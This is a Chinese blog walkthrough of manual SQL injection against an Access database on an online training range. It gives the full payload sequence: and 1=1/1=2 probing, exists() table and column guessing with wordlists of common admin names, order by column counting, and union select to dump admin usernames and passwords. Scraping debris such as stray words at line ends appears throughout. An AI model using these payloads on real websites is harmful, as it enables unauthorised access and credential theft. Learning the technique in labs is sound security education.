手工注入——access手工注入实战和分析

今天进行了access手工注入,下面是个人实战过程和总结。数据库

实战环境使用的是墨者学院的在线靶场。下面我们直接进入主题。spa

第一步,判断注入点3d

经过‘ 或者 and 1=1 和 and 1=2 是否报错,以下图。blog

接下来我们输入 and 1=2 发现报错了,说明存在注入点。以下图。图片

第二步,猜数据库表名io

在access数据库中,打开里面直接就是表,因此咱们只能猜表名,经过这条语句 and exists (select * from 表名)常见的一些表名为 admins users administrator,adminadminsadmin_useradmin_usradmin_msgadmin_loginuserusernamemanagermsg_usermsg_loginuseradmin等。经过猜想,咱们查到 存在admin这个表,这里用到的原理是,若是存在正常显示,不存在就报错,以下图。原理

第三步,猜想表里有几个字段select

经过order by 语句,小于输出的数字正常显示,大于输出的数字报错。咱们猜出为四个字段。以下图。nio

 

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。分割线。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。密码

第四步,猜想字段

经过这条语句 and exists (select 字段 from admin)常见的字段有 username password pass passwd user_name 等

若是对方的数据库字段较多,我们又猜不出来,而且有回显位置,能够尝试偏移注入。这里经过直接猜想就猜出来了,以下图。

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。分割线。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

 

 

根据图片的内容咱们,咱们猜想出的两个字段为,username ,passwd ,根据字段名字咱们就知道里面存放的为帐号和密码。

第五步,联合查询爆出帐号和密码

经过这条语句 union select 1,2,3,4 from admin 咱们知道了,2,3,这两个位置回显到页面上,这就是咱们须要的。以下图。

 

接下来,咱们把以前查找出来的 字段 替换到2,3 两个位置,语句为 union select 1,username,passwd,4 from admin 结果为下图,爆出了帐号密码。

 

access 手工注入总结

一、 先判断有没有注入点

二、 参数后面加 and exists(select*from admin) 猜表名  返回正常页面表示存在(admin)

三、 参数后面加 and exists(select username from admin)猜(admin)表中是否存在列名(username) 返回正常页面表示存在

四、 参数后面加 and exists(select passwd from admin)猜(admin)表中是否存在列名(passwd) 返回正常页面表示存在

五、 判断字段数 参数后面加 order by 4 (判断字段数为4)

六、 判断回显  参数后面加 union select 1,2,3,4 from admin

七、 爆出列名的信息 参数后面加 union select 1,username,passwd,4 from admin

八、获取到帐号密码,手工注入结束。

相关文章
相关标签/搜索